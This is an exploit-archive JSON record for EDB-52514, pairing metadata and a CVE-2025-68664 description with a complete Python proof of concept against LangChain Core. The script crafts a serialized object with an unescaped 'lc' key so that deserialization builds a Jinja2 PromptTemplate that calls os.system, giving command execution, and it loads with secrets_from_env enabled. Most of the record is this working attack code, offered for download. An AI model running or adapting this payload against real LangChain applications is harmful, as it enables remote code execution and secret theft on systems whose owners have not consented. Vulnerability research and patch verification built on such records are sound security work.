{"exploit":{"id":"EDB-52514","name":"LangChain Core 1.2.4 - Server-Side Template Injection (SSTI) / Remote Code Execution (RCE)","description":"LangChain Core 1.2.4 - Server-Side Template Injection (SSTI) / Remote Code Execution (RCE)","cves":["CVE-2025-68664"],"author":"banyamer","published":"2026-04-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52514","path":"exploits/multiple/webapps/52514.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52514.py","vulnerabilities":[{"id":"CVE-2025-68664","state":"PUBLISHED","title":"LangChain serialization injection vulnerability enables secret extraction in dumps/loads APIs","titleSource":"CVE Program","description":"LangChain is a framework for building agents and LLM-powered applications. Prior to versions 0.3.81 and 1.2.5, a serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data. This issue has been patched in versions 0.3.81 and 1.2.5.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-68664","cvss":{"version":"3.1","baseScore":9.3,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-68664"},"updatedAt":"2025-12-24T14:40:58.427Z","retrievedAt":"2026-11-25T16:15:50.777Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52514.png?v=2","url":"https://exploitbin.com/exploits/EDB-52514","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52514/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52514/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: LangChain Core - SSTI/RCE\n# Date: 2025-12-29\n# Exploit Author: Mohammed Idrees Banyamer\n# Author Country: Jordan\n# Contact: @banyamer_security (Instagram)\n# GitHub: https://github.com/mbanyamer\n# Vendor Homepage: https://www.langchain.com/\n# Software Link: https://pypi.org/project/langchain-core/\n# Version: < 0.3.81 and < 1.2.5\n# Tested on: Python 3.10 - 3.12\n# CVE : CVE-2025-68664\n# Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate\n#              with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution.\n\nimport os\nfrom langchain_core.load import dumps, load\nfrom langchain_core.prompts import PromptTemplate\n\n# Set a dummy env var (demonstrates potential secret access if needed)\nos.environ[\"TEST_SECRET\"] = \"secret_value_123\"\n\n# Malicious constructor payload targeting PromptTemplate with SSTI\npayload = {\n    \"exploit\": {\n        \"lc\": 1,\n        \"type\": \"constructor\",\n        \"id\": [\"langchain_core\", \"prompts\", \"prompt\", \"PromptTemplate\"],\n        \"kwargs\": {\n            \"input_variables\": [],\n            \"template\": \"{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}\",\n            \"template_format\": \"jinja2\"\n        }\n    }\n}\n\n# Serialize (dumps does not escape 'lc' key)\nserialized = dumps(payload)\n\n# Deserialize - instantiates the malicious PromptTemplate\ndeserialized = load(serialized, secrets_from_env=True)\n\n# Extract and invoke the malicious prompt → triggers SSTI → RCE\nmalicious = deserialized[\"exploit\"]\noutput = malicious.format()\n\nprint(\"[*] Command execution output:\")\nprint(output)","sha256":"442f89bbdd48353817d4d527b7b84ff6d53dd564c8d2d3a1f07bef972dbc3b22","bytes":1700,"fetchedAt":"2026-11-26T11:18:02.218Z","encoding":"utf-8 (display only; download retains original bytes)"}